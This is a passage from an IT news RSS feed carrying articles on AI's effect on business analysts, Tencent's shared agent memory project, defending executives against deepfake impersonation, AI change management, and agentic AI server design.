<p class="wp-block-paragraph">As a result, the role is undergoing a shift toward spending less time on monotonous, routine tasks, and instead “spending more time connecting the dots and providing strategic context earlier in the process,” says Slabinksi.</p>



<p class="wp-block-paragraph">“We’re seeing that business analysts today aren’t spending as much time as they were a few years ago on some manual processes. AI is speeding up tasks like documenting requirements, summarizing stakeholder meetings, generating first drafts of user stories, and even helping create SQL queries or reports,” she adds.</p>



<p class="wp-block-paragraph">AI can also assist business analysts with interviews and workshops for the discovery phase of a project and autonomously identify patterns in the data that might be overlooked or missed by the human eye. These tools can also enable BAs to create living models that can be adjusted and altered with feedback, as opposed to traditional static documents, and allow for an automated review process for data validation. In terms of maintenance and change management, AI can help with predictive recommendations to get ahead of risks, compliance, and future process updates.</p>



<p class="wp-block-paragraph">That said, an increased reliance on AI tools while require business analysts to validate AI outputs and assure AI-generated content is accurate, relevant, and ultimately aligned with the overall business strategy. Still responsible for explaining the reasons behind business decisions, business analysts will also need to identifying bias and fairness concerns associated with AI use, and ensure decisions aren’t over-automated.</p>



<p class="wp-block-paragraph">Ultimately, BA’s will see their responsibilities shift to focusing more on data interpretation, governance, and strategy, and identifying the most practical use cases for enterprise AI adoption.</p>



<h2 class="wp-block-heading">New skills to focus on</h2>



<p class="wp-block-paragraph">Traditionally, business analysts are responsible for gathering the data as well as processing it for analysis. This comes with a lot of drudgery that can be eased by implementing AI tools into the workflow. Tasks such as routine documentation, formatting, and data crunching can be automated, while analysts provide the human context around that data, as well as a critical eye to the final output.</p>



<p class="wp-block-paragraph">“Business analysts are often in the mix to make sure that data is accurate and that the requirements are in line with expected outcomes. They can also help ensure AI projects include the appropriate level of human oversight, comply with internal policies and industry regulations, and use data responsibly. While they aren’t solely responsible for AI governance, they often play an important role in raising questions about data sources, bias, whether the outputs make sense, and potential business risks early in a project,” says Slabinski.</p>



<p class="wp-block-paragraph">BAs will need to develop AI literacy skills to better understand how models are trained and designed as well as data reasoning skills to interpret and validate AI outputs. Prompt-framing skills will also become valuable as analysts will need to know how to properly structure inputs for quality outputs. There will also be a growing emphasis on ethical analysis to identify compliance, bias, and overall fairness of algorithms, and qualified candidates will require strong change management skills to help oversee the adoption of AI-driven workflows.</p>



<p class="wp-block-paragraph">“The skills becoming more important are the ones that help BAs evaluate AI-generated information and translate it into business recommendations. AI literacy is becoming a baseline expectation, and that includes knowing things like how to query the data and support requirements gathering. Critical thinking, communication, and business acumen are all part of that skill set because employers still need people who can explain what the findings mean and why they matter,” says Slabinski.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tencent's Team Memory shares AI agent memory across a team — with no governance yet for when it's wrong]]></title>
<description><![CDATA[A VB Pulse survey this June found that 57% of enterprises had traced a confidently wrong agent answer back to missing or inconsistent context — the latest sign of how central context has become to whether AI agents can be trusted to act on their own.Most of the fixes so far have solved a narrower...]]></description>
<link>https://tsecurity.de/de/3710116/it-nachrichten/tencents-team-memory-shares-ai-agent-memory-across-a-team-with-no-governance-yet-for-when-its-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710116/it-nachrichten/tencents-team-memory-shares-ai-agent-memory-across-a-team-with-no-governance-yet-for-when-its-wrong/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:33 +0200</pubDate>
<content:encoded><![CDATA[<p>A <a href="https://venturebeat.com/data/57-of-enterprises-have-watched-ai-agents-be-confidently-wrong-the-fix-is-an-agentic-context-layer-but-who-has-one">VB Pulse survey this June found that 57%</a> of enterprises had traced a confidently wrong agent answer back to missing or inconsistent context — the latest sign of how central context has become to whether AI agents can be trusted to act on their own.</p><p>Most of the fixes so far have solved a narrower version of that problem: one agent remembering more, in one session. What's been missing is a way for a team of agents to draw on the same context at once, and that gap is where a newer problem is surfacing. Once an agent's context is shared across a whole team, a wrong fact doesn't cost one person a repeated explanation. It costs the whole team.</p><p>Tencent's answer to that gap is<a href="https://github.com/TencentCloud/TencentDB-Agent-Memory"> Agent Memory</a>, an open-source project the team said grew out of six months spent fixing a narrower problem: agents losing context in long sessions. Part of that system is a persona layer, a stable, distilled picture of who a user is and how they work, built up over many conversations rather than reconstructed each time. On Tencent's own benchmark for whether an agent still applies that picture correctly after extended use, accuracy rose from 48% to 76%, a 59% relative improvement, once the persona layer was added. This week, Tencent extended that project with the beta launch of Team Memory, which opens the same approach up to a whole team instead of one agent. <!-- -->Tencent said <a href="https://x.com/tencentai_news/status/2085272380759581092">the repo hit No. 1 on GitHub's TypeScript trending list</a> this week.</p><p>Agents on a team can now read from a shared memory hub instead of keeping separate, siloed context, governed through an access control layer that determines who can read what.</p><h2>What Team Memory actually does</h2><p>The core idea is a shared hub rather than a shared prompt. Instead of pasting one large context block into every agent's window, Team Memory registers four kinds of reusable assets and equips each agent with only the ones it needs.</p><ul><li><p><b>Chat Memory.</b> Retains preferences, facts, decisions, and interaction history, distilled through four layers, from raw conversation up to a stable long-term persona, so an agent does not need to be reintroduced to a user it has already worked with.</p></li><li><p><b>Skill.</b> Captures procedures pulled from completed work, versioned and reviewed before they are shared rather than dropped into a folder as-is.</p></li><li><p><b>LLM-Wiki.</b> Turns documents and specs into structured, linked pages.</p></li><li><p><b>Code-Graph.</b> Indexes a codebase's symbols, files, and call relationships so an agent can check what a change might affect before making it.</p></li></ul><p>Tencent's<a href="https://github.com/TencentCloud/TencentDB-Agent-Memory"> documentation</a> draws the distinction directly: "RAG answers 'what can be found?' Team Memory also answers 'who can use it, which version is valid, and which Agent should receive it.'"

In practice, that's what Tencent calls an "Agent Loadout": a Scout agent doing research can be equipped with market research and competitive analysis assets, while a Builder agent gets the code graph and product docs it needs instead, rather than every agent getting access to everything.</p><p>Which assets an agent gets equipped with is governed through four visibility tiers:</p><ul><li><p><b>Private.</b> Readable only by the asset's owner.</p></li><li><p><b>Team.</b> Readable by anyone on the team.</p></li><li><p><b>Restricted.</b> Gated by user, role, or agent-level access control.</p></li><li><p><b>Agent.</b> Equipped to one specific agent within a team.</p></li></ul><p>New assets default to private, so sharing has to be a deliberate action rather than something that happens automatically.</p><h2>What happens when a memory is wrong</h2><p>That access model answers a real question, who is allowed to read a given memory asset. It does not answer a second one, which is what happens once a memory asset turns out to be wrong. Tencent's own documentation lays out ownership, versioning, and status tracking for each asset, but nothing in the documentation describes a correction or expiry process for a fact that's already been read and reused by other agents on a team, or a way to resolve it when two agents' memories of the same thing disagree.</p><p>That gap is what practitioners flagged within hours of the launch post.</p><p>"Shared memory makes the write path the interesting problem. Retrieval gets most of the attention, but a wrong fact written once now propagates to every teammate's agent instead of just yours. Curious how the governance layer handles correction and expiry,"<a href="https://x.com/BlakeMurphy/status/2085385624115138828"> Blake Murphy</a> wrote on X.</p><p>The concern wasn't only about fixing a bad fact after the fact. It was about the decision to leave something out of the record in the first place. "the governed part is the hard part. once teammates' agents can read each other's context, someone has to decide what never gets written down,"<a href="https://x.com/_virgil19/status/2085403856624922852"> Virgil Maro</a> wrote on X.</p><p>Others pushed further into what happens once two agents' memories actively contradict each other, not just go stale.</p><p>"The Code-Graph plus LLM-Wiki split is the right call. The part I'd want to see benchmarked: in shared mode, whose memory wins when two teammates' agents have written contradicting facts about the same module? Single-agent memory drifts slowly. Shared memory drifts fast, because one stale write propagates to people who never saw the session that produced it,"<a href="https://x.com/wgi_dev/status/2085382411613872341"> Austin Green</a> wrote on X.</p><p>The reaction wasn't uniformly critical. "Interesting shift: making memory a shared service turns agents into a real team rather than isolated bots. Governance will be the trickiest part, especially when facts conflict,"<a href="https://x.com/MoezZhioua/status/2085400880208126350"> Moez Zhioua</a> wrote on X.</p><p>None of these are edge cases specific to Tencent's implementation. A March 2026 paper on production multi-agent memory architecture,<a href="https://arxiv.org/html/2603.17787"> "Governed Memory: A Production Architecture for Multi-Agent Workflows,"</a> published independently of any single vendor, identifies governance fragmentation and silent quality degradation without feedback loops as structural risks in shared multi-agent memory generally. The pattern the paper describes matches what the commenters above pointed at directly: a wrong fact in a single-agent memory system costs one user a repeated correction, while the same wrong fact in a shared, team-wide memory system propagates to every agent that inherited it before anyone catches it.</p><h2>How Team Memory compares</h2><p>AI agent memory work in 2026 has mostly focused on a single agent remembering more, in one session, about one user:<a href="https://venturebeat.com/ai/enhancing-ai-agents-with-long-term-memory-insights-into-langmem-sdk-memobase-and-the-a-mem-framework"> LangChain's LangMem SDK</a>,<a href="https://venturebeat.com/orchestration/google-pm-open-sources-always-on-memory-agent-ditching-vector-databases-for"> Google's Always On Memory Agent</a>, and Anthropic's work inside the<a href="https://venturebeat.com/ai/anthropic-says-it-solved-the-long-running-ai-agent-problem-with-a-new-multi"> Claude Agent SDK</a> all work this way. A different line of work has focused on giving agents access to a shared model of business data. VB's own June survey found only 25% of enterprises had that kind of governed context layer in production, while vendors including<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> AWS</a>, <a href="https://venturebeat.com/data/ai-agents-need-context-everywhere-they-run-even-where-the-cloud-cant-follow"> Couchbase, Oracle, Redis, and Pinecone</a> have all shipped versions of it this year.</p><p>Team Memory's closest existing comparison is likely Asana, which built<a href="https://venturebeat.com/orchestration/shared-memory-is-the-missing-layer-in-ai-orchestration"> shared memory across a company's AI teammates</a> so an agent doesn't need to be re-briefed on context another agent already has. Asana's CPO described the same tradeoff Tencent's practitioners are now raising,<a href="https://venturebeat.com/orchestration/asanas-ai-agents-share-memory-across-your-company-but-not-your-secrets"> an access control system built specifically to stop one agent's memory from leaking into a project another agent isn't cleared to see</a>. Tencent's version is open-source and portable across frameworks rather than scoped to one platform, but it's answering a question Asana's team already ran into while building a closed one.</p><p>For teams evaluating this category, the upside is real: agents stop relearning what the team already knows. The tradeoff is just as real: one bad write is no longer contained to one agent — it's inherited by every agent that reads from the shared pool, with no correction or expiry process yet in place to catch it.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Deepfakes are targeting your executives. Here’s what actually works]]></title>
<description><![CDATA[Two years ago, I sat across from a chief financial officer who had just spent forty minutes on a video call authorizing what he believed was a legitimate acquisition payment. The call included his CEO and two board members, all speaking in familiar voices, all making the kind of small unscripted ...]]></description>
<link>https://tsecurity.de/de/3709708/it-security-nachrichten/deepfakes-are-targeting-your-executives-heres-what-actually-works/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709708/it-security-nachrichten/deepfakes-are-targeting-your-executives-heres-what-actually-works/</guid>
<pubDate>Fri, 07 Aug 2026 11:27:02 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Two years ago, I sat across from a chief financial officer who had just spent forty minutes on a video call authorizing what he believed was a legitimate acquisition payment. The call included his CEO and two board members, all speaking in familiar voices, all making the kind of small unscripted comments that make a meeting feel real. None of them were real. The audio had been cloned from earnings call recordings, and the video was built from conference footage pulled off YouTube.</p>



<p class="wp-block-paragraph">What gave it away wasn’t a glitch or a blurred hand. It was a pause. The CFO asked about a side conversation from the previous week that only the real CEO would have known, and the voice on the other end hesitated half a second too long before answering. That hesitation stopped a seven-figure transfer.</p>



<p class="wp-block-paragraph">It also taught me something I have carried into every engagement since. Executive impersonation has moved from a theoretical AI risk category into an active enterprise security problem, and detection and response capability lags materially behind attacker capability.</p>



<h2 class="wp-block-heading"><a></a>The detection tooling gap</h2>



<p class="wp-block-paragraph">When clients ask me what to buy first, I tell them to slow down. The tooling landscape for synthetic media is real, but it is not mature, and treating it as solved creates false confidence at exactly the moment confidence gets tested.</p>



<p class="wp-block-paragraph">Audio and video forensics tools scan a file after the fact for artifacts synthetic generation tends to leave behind. They are genuinely useful in a post-incident review, where there is time to run deeper analysis. They are far less useful in the middle of a live call, where a decision has to get made in seconds rather than hours.</p>



<p class="wp-block-paragraph">Liveness detection tries to solve that timing problem by checking for signs of life during the interaction itself, rather than analyzing a file afterward. The trouble is that these systems were mostly built for identity verification at onboarding, a single controlled check at a fixed point in time. Retrofitting them into an unplanned executive call is still mostly aspirational, and most vendors will tell you the same thing privately even while marketing otherwise.</p>



<p class="wp-block-paragraph">The MITRE ATLAS knowledge base, which catalogs real-world adversarial attacks against AI systems, now documents deepfake-based identity verification bypass as an<a href="https://atlas.mitre.org/studies/AML.CS0034"> established attack pattern</a> rather than an edge case. That matters for CISOs because it confirms this is not a hypothetical gap security vendors invented to sell tools. It is a documented technique with case studies attached.</p>



<p class="wp-block-paragraph">What senior executives specifically need, and what the market still doesn’t reliably offer, is verification that works in the moment a request is made rather than after the fact. Until that exists at scale, the tooling has to sit inside a broader protocol rather than stand in for one.</p>



<h2 class="wp-block-heading"><a></a>A framework enterprise teams can deploy now</h2>



<p class="wp-block-paragraph">Tooling alone will not close this gap, so the operational framework matters more than any single product. Here is what I put in place with clients, organized around five actions.</p>



<ol class="wp-block-list">
<li><strong>Verify. </strong>Multi-factor human verification for executive-level communications means more than a callback. It means a pre-agreed authentication phrase for the small circle of people who can approve high-sensitivity or high-value actions, changed on a schedule and never guessable from a public LinkedIn bio. It means out-of-band confirmation as a hard requirement, not a courtesy, for any request involving money, credentials or a change to standing instructions. I watched this stop an attack outright. A caller using a cloned voice of an executive asked a colleague for help with a confidential wire. The colleague asked for the agreed phrase, and the line went dead within seconds.</li>



<li><strong>Detect. </strong>This is not about buying a detection tool. It is about continuously monitoring the executive’s digital identity surface before an attacker even builds the deepfake. That includes tracking domain squatting on the executive’s name, watching for social profile impersonation, and knowing where voice samples are already sitting in public conference recordings and podcast appearances that an attacker could pull from tomorrow. Most security teams monitor the network. Very few monitor the raw material an attacker needs to build a convincing fake in the first place.</li>



<li><strong>Respond. </strong>When an impersonation attempt is identified or succeeds, the response playbook needs to specify who freezes a transaction, who pulls the call recording before it disappears, and who brings in forensics immediately so there is a documented basis for every decision that follows. It needs a defined escalation path that does not depend on the target believing something is wrong, because most executives will not report a strange call themselves. Build the reporting habit around the transaction, not the suspicion.</li>



<li><strong>Train. </strong>Executive protection training has to include impersonation awareness now, and not just for the executive. Assistants, chiefs of staff and family office contacts are frequently the actual point of contact an attacker targets, since they often have more standing authority to approve something quickly than the executive expects them to use. This has to be a working habit, not a slide deck people sit through once a year.</li>



<li><strong>Integrate. </strong>Executive impersonation cannot sit inside a single team’s silo. It needs coordination between security operations, communications, legal and executive protection, because a voice clone built from a podcast appearance does not touch a single system any one of those functions monitors on its own.<a href="https://www.csoonline.com/article/3982379/deepfake-attacks-are-inevitable-cisos-cant-prepare-soon-enough.html"> A CSO Online feature on deepfake defense</a> documented an almost identical wire fraud case and reached a similar conclusion that the organizations recovering fastest were the ones that had already rehearsed the coordination across teams before an incident forced it.</li>
</ol>



<h2 class="wp-block-heading"><a></a>Where the market hasn’t caught up</h2>



<p class="wp-block-paragraph">Even programs built around all five of those actions still run into gaps that no enterprise has fully closed.</p>



<p class="wp-block-paragraph">The first is the personal exposure gap. Most protocols assume the target is inside a corporate communication channel. Attackers are increasingly working the other direction, reaching family members or personal devices where none of the corporate verification steps apply at all.</p>



<p class="wp-block-paragraph">The second is the public-facing gap. Livestreams of major corporate events have been hijacked by deepfakes of the company’s own executives, often promoting cryptocurrency scams, with fake feeds sometimes drawing sizeable audiences before takedown. That is not an internal fraud scenario a SOC playbook was built for. It is a brand and platform-level impersonation that needed coordination with a video platform in real time, and almost nobody has that relationship pre-built. The security team needing to reach a platform’s off-hours trust and safety escalation path in the middle of a live event is functionally starting from zero every time, and the incident is often over by the time the right internal owner on the platform side is even identified.</p>



<p class="wp-block-paragraph">The third is measurement. Very few security teams can currently tell their board how prepared they actually are for this category of risk, because the tabletop exercises that would surface the gaps are still rare. Boards are starting to ask the question anyway, often after reading about another company’s incident rather than their own, and a security leader without a rehearsed answer is at a real disadvantage in that conversation.</p>



<p class="wp-block-paragraph">Back to that CFO on the video call. What saved him was not a tool. It was a habit, built well before the attack, of treating a hesitation as reason enough to stop. That is still the most reliable control available, and it will remain the most reliable control until the rest of this framework catches up to it.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Enterprise-wide AI transformation starts with change management]]></title>
<description><![CDATA[Technology leaders are facing a sobering reality: They’re investing heavily in AI, yet many initiatives continue to struggle to move beyond experimentation and pilot programs. For example, Gartner found only 28% of AI use cases in infrastructure and operations fully succeed and meet ROI expectati...]]></description>
<link>https://tsecurity.de/de/3709709/it-security-nachrichten/enterprise-wide-ai-transformation-starts-with-change-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709709/it-security-nachrichten/enterprise-wide-ai-transformation-starts-with-change-management/</guid>
<pubDate>Fri, 07 Aug 2026 11:27:02 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Technology leaders are facing a sobering reality: They’re investing heavily in AI, yet many initiatives continue to struggle to move beyond experimentation and pilot programs. For example, Gartner found only <a href="https://www.gartner.com/en/newsroom/press-releases/2026-04-07-gartner-says-artificial-intelligence-projects-in-infrastructure-and-operations-stall-ahead-of-meaningful-roi-returns">28%</a> of AI use cases in infrastructure and operations fully succeed and meet ROI expectations, while 20% fail outright.</p>



<p class="wp-block-paragraph">The conversation around AI often focuses on models, tools and technical capabilities. Those decisions matter, but in my experience, they are rarely the only factors that determine success. The organizations realizing meaningful value from AI are also focused on operational readiness, governance, employee adoption and measurable outcomes.</p>



<p class="wp-block-paragraph">As both CIO and CDO, I spend a lot of time helping our organization navigate AI adoption while balancing the needs of our internal teams, our clients and running 24×7 secure operations. What I have learned is that AI transformation depends on how well the organization understands its data, improves its business processes and prepares people to work differently.</p>



<p class="wp-block-paragraph">I sometimes describe my role as being the organization’s traffic light. The green lights are easy – these are moments when the right answer is to accelerate. There are also moments when we need to slow down. As leaders, we must assess when we need to focus on the fundamentals and make sure the organization is ready for what comes next. And the most important decisions are the red lights – when we prevent the organization from spending time, money and energy on the wrong things.</p>



<h2 class="wp-block-heading">AI adoption breaks down when it does not fit how people work</h2>



<p class="wp-block-paragraph">One common misconception about AI transformation is that deployment automatically creates adoption. In practice, adoption happens when employees understand how the technology improves their work and have confidence in how it fits into their day-to-day responsibilities.</p>



<p class="wp-block-paragraph">I have seen AI pilots work well with small groups of users and then encounter challenges when expanded across larger teams. The technology may perform as expected, but the operating environment changes. Teams follow different workflows. Information is managed differently across functions. Employees have different levels of trust in the data. Success is not always measured the same way.</p>



<p class="wp-block-paragraph">These are readiness, process and change management issues.</p>



<p class="wp-block-paragraph">We saw similar lessons during our own transformation work. As part of a broader modernization program, we consolidated more than 50 engineering tools into one software delivery platform supporting thousands of developers. The technical migration mattered, but the bigger effort was helping teams adopt new ways of working and establish common practices.</p>



<p class="wp-block-paragraph">Anyone who has asked developers to move away from their favorite tools knows that change management is real. That experience reinforced a lesson: Transformation succeeds when people understand the value of the change, have the right support and can see how it improves the work they do every day.</p>



<p class="wp-block-paragraph">The same principle applies to AI.</p>



<p class="wp-block-paragraph">When we began introducing AI capabilities internally, we avoided a broad rollout from day one. Rolling AI out to thousands of employees is a process of education, adoption support and continuous learning. We introduced capabilities in phases, helped employees understand use cases relevant to their role and gave teams room to build confidence over time. Different teams adopt AI differently, so we found that cohort-based deployment and tailored change management created better long-term adoption than broad enterprise-wide rollouts.</p>



<p class="wp-block-paragraph">Pilots often succeed because the variables are limited. Production environments introduce the realities of the enterprise: inconsistent processes, disconnected data, unclear ownership and varying levels of employee readiness. In many cases, issues that surface during scaling can be traced back to operating model decisions, process gaps or unclear expectations.</p>



<p class="wp-block-paragraph">Employees need to understand where AI fits, when human judgment remains essential and how success will be measured. Without that clarity, scaling becomes much harder.</p>



<h2 class="wp-block-heading">Creating the operational conditions for AI success</h2>



<p class="wp-block-paragraph">The most successful AI transformations start before AI is introduced.</p>



<p class="wp-block-paragraph">They begin with understanding where employees experience friction. In most enterprises, those opportunities are not difficult to find. Repetitive administrative work and manual handoffs consume time and slow the business down. Employees directly in the workflows have the clearest view of where these issues exist.</p>



<p class="wp-block-paragraph">When we launched our own efficiency and transformation program, we deliberately did not start with AI. We started by evaluating our data, reviewing business processes and identifying opportunities to simplify how work was performed. We found that simplifying and standardizing workflows before introducing AI significantly reduced complexity during deployment. Rather than asking AI to compensate for fragmented processes, we focused first on creating a consistent operational foundation. We focused first on process improvement, automation and operational discipline. Once those foundations were in place, we began layering AI into the environment.</p>



<p class="wp-block-paragraph">AI outcomes are heavily influenced by the quality of the processes and the data along with the governance structures supporting them. If the underlying process is inconsistent, AI will struggle to create consistent value. If the process is understood, governed and measurable, AI has a much stronger foundation.</p>



<p class="wp-block-paragraph">I often say that good data and good processes deliver good AI outcomes. That continues to hold true regardless of the model or technology being deployed.</p>



<p class="wp-block-paragraph">The real challenge is making sure employees know what AI is using, where it fits in the workflow and when they should rely on the output. If that is unclear, adoption slows. People may not trust the answer, may use the tool inconsistently or may avoid changing how work gets done.</p>



<p class="wp-block-paragraph">Before scaling AI, leaders need to answer a few basic questions. What problem are we solving? Is the process consistent enough? Is the data reliable enough? Where does human judgment still matter? And how will we know whether the tool is improving the work? Those questions determine whether AI becomes part of how teams operate.</p>



<h2 class="wp-block-heading">Measure outcomes before you scale</h2>



<p class="wp-block-paragraph">AI programs often lose momentum when leaders measure activity instead of impact. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-30-gartner-survey-finds-forty-five-percent-of-organizations-with-high-artificial-intelligence-maturity-keep-artificial-intelligence-projects-operational-for-at-least-three-years?">63% of high-maturity organizations</a> implement formal metrics to evaluate transformation efforts.</p>



<p class="wp-block-paragraph">Leaders often track how many employees have access to AI, how many licenses have been provisioned or how many use cases have been launched. Those metrics can be useful, but they do not always show whether the organization is creating business value. Activity is not the same as impact.</p>



<p class="wp-block-paragraph">The more meaningful indicators are instead tied to operational performance: support ticket volumes, incident reduction, productivity improvements, user experience, cycle times and service quality.</p>



<p class="wp-block-paragraph">We have seen the value of this approach firsthand. As part of our transformation program, we standardized service delivery processes and moved hundreds of teams onto a common service management platform. In our own experience, process improvements and platform consolidation initially reduced support ticket volumes by approximately 30%.</p>



<p class="wp-block-paragraph">After that foundation was established, additional automation and AI capabilities helped drive reductions closer to 70%.</p>



<p class="wp-block-paragraph">The initial improvement came from better processes and greater operational consistency. Automation and AI then helped accelerate the results. That is the pattern leaders should look for: Identify where work slows down, improve the process, establish accountability and introduce AI where the environment is ready to support it.</p>



<p class="wp-block-paragraph">This approach also helps build trust. Employees can see the value being created. Leaders can measure progress. Teams can learn from early deployments before scaling more broadly.</p>



<h2 class="wp-block-heading">Preparing people is the real AI strategy</h2>



<p class="wp-block-paragraph">Technology adoption has always been closely connected to people.</p>



<p class="wp-block-paragraph">Employees are more likely to embrace change when they understand how technology helps them be more effective. They need practical experience, clear expectations and opportunities to learn. AI introduces new ways of working, and organizations need to prepare employees for that shift.</p>



<p class="wp-block-paragraph">In our own organization, we encouraged every employee to establish an AI-related learning goal because familiarity with emerging technologies is becoming part of every role. Some goals were simple. Some were more advanced. The important point was creating a culture where people continue to learn and understand how AI applies to their work versus forcing AI activity broadly all at once.</p>



<p class="wp-block-paragraph">As AI becomes more embedded in enterprise operations, organizations with strong foundations in governance, process discipline and workforce readiness will be better positioned to capture long-term value.</p>



<p class="wp-block-paragraph">The companies realizing the greatest value from AI are investing in technology while also strengthening the operating models, information management practices and employee capabilities that support adoption. Sustainable transformation requires attention to people, processes, data and technology.</p>



<p class="wp-block-paragraph">Preparing people, building trust and creating clear operating models remain central to any successful AI strategy.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic AI could force a rethink of enterprise AI server design, researchers say]]></title>
<description><![CDATA[Enterprises deploying agentic AI may need a new generation of AI servers as conventional GPU-centric infrastructure struggles to efficiently execute multi-step AI workflows, according to researchers from Microsoft Azure and the University of Texas at Austin.



Drawing on production telemetry fro...]]></description>
<link>https://tsecurity.de/de/3709697/it-security-nachrichten/agentic-ai-could-force-a-rethink-of-enterprise-ai-server-design-researchers-say/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709697/it-security-nachrichten/agentic-ai-could-force-a-rethink-of-enterprise-ai-server-design-researchers-say/</guid>
<pubDate>Fri, 07 Aug 2026 11:25:53 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises deploying agentic AI may need a new generation of AI servers as conventional GPU-centric infrastructure struggles to efficiently execute multi-step AI workflows, according to researchers from Microsoft Azure and the University of Texas at Austin.</p>



<p class="wp-block-paragraph">Drawing on production telemetry from Microsoft’s Azure cloud and experiments with representative open-source agent frameworks, the researchers found that AI agents spend far more time coordinating models, tools, and orchestration software than conventional inference systems assume. </p>



<p class="wp-block-paragraph">Rather than behaving like standalone LLM requests, agentic applications execute as dynamic workflows that repeatedly move work between CPUs, GPUs, and external services, exposing inefficiencies in today’s server designs.</p>



<p class="wp-block-paragraph">“Our study shows that agentic execution is fundamentally fragmented and heterogeneous,” the researchers <a href="https://arxiv.org/pdf/2608.04458">wrote</a> in the paper. “Each request expands into a workflow of LLM inferences, tool invocations, and orchestration decisions that repeatedly crosses the CPU-GPU boundary.”</p>



<p class="wp-block-paragraph">According to the paper, that execution pattern places the CPU on the application’s critical path because orchestration software and tools execute on the host while model inference runs on GPUs.</p>



<p class="wp-block-paragraph">The researchers said conventional server architectures are poorly matched to those workloads because fragmented execution strands CPU and GPU resources, different host-side software roles have different resource requirements, and multiplexing multiple agents increases coordination overhead.</p>



<h2 class="wp-block-heading">Production data points to fragmented execution</h2>



<p class="wp-block-paragraph">The researchers said a representative production request alternated between multiple LLM calls, tool discovery, tool execution, and orchestration before completing. In a controlled study using the CORAL framework, a single workload expanded into 580 LLM calls interleaved with 552 tool invocations, causing execution to “ping-pong between the two processors hundreds of times.”</p>



<p class="wp-block-paragraph">The study also found that host CPU utilization remained low for extended periods before rising sharply during bursts of tool execution, while GPU utilization varied widely depending on workflow composition, leaving some accelerators saturated and others idle.</p>



<p class="wp-block-paragraph">According to the researchers, the fragmented execution pattern leaves CPUs and GPUs underutilized on average while allowing either processor to become “a transient bottleneck on the workflow’s critical path,” making static resource provisioning inefficient for agentic workloads.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the findings show enterprises should evaluate agentic AI infrastructure differently from conventional inference deployments.</p>



<p class="wp-block-paragraph">“Agentic AI is not a bigger chatbot; it is a distributed application with inference embedded inside it,” Gogia said. “The individual ingredients are familiar. The execution graph is new.”</p>



<p class="wp-block-paragraph">“The GPU remains indispensable, but it no longer owns the entire clock,” he added. “Tool time matched or beat inference time in more than 27 per cent of requests, and average utilisation is beginning to lie to infrastructure teams.”</p>



<h2 class="wp-block-heading">Researchers propose workflow-aware server design</h2>



<p class="wp-block-paragraph">Based on those findings, the researchers proposed a server architecture, called Agora, that dynamically reallocates CPU and GPU resources, separates scheduling, orchestration, and tool execution into dedicated host roles, and adapts resource allocation to workload behavior.</p>



<p class="wp-block-paragraph">“Agora dynamically harvests idle CPU cores for co-located throughput work, while protecting agentic tail latency against tool spikes. It also oversubscribes GPU memory by placing more agents on each GPU, prefetching the next agent’s state to hide swap latency,” the researchers wrote in the paper. “To match the machine to the heterogeneous roles, Agora pools cores by role and applies affinity-aware scheduling to restore locality. These techniques substantially improve CPU and GPU utilization and per-server throughput while preserving agent tail latency.”</p>



<p class="wp-block-paragraph">In their evaluation, the researchers reported that Agora increased host CPU utilization by about 30%, recovered about 95% of a co-located workload’s standalone throughput under low load, freed roughly one-third of GPUs through workload consolidation, increased generation throughput by 82%, and reduced tail latency by 2.5 times.</p>



<p class="wp-block-paragraph">Gogia said the findings indicate that infrastructure procurement should focus less on individual processors and more on how entire AI workflows execute.</p>



<p class="wp-block-paragraph">“The CPU is not returning to the throne; the throne itself is disappearing,” he said. “Competitive advantage is moving from the individual processor to the heterogeneous server, rack and runtime operating as one system.” He said organizations should “procure the workflow, not the box,” arguing that workload profiling and scheduling are likely to deliver greater benefits than sizing infrastructure based on model inference alone.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Deepfakes are targeting your executives. Here’s what actually works]]></title>
<description><![CDATA[Two years ago, I sat across from a chief financial officer who had just spent forty minutes on a video call authorizing what he believed was a legitimate acquisition payment. The call included his CEO and two board members, all speaking in familiar voices, all making the kind of small unscripted ...]]></description>
<link>https://tsecurity.de/de/3709644/it-nachrichten/deepfakes-are-targeting-your-executives-heres-what-actually-works/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709644/it-nachrichten/deepfakes-are-targeting-your-executives-heres-what-actually-works/</guid>
<pubDate>Fri, 07 Aug 2026 11:25:14 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



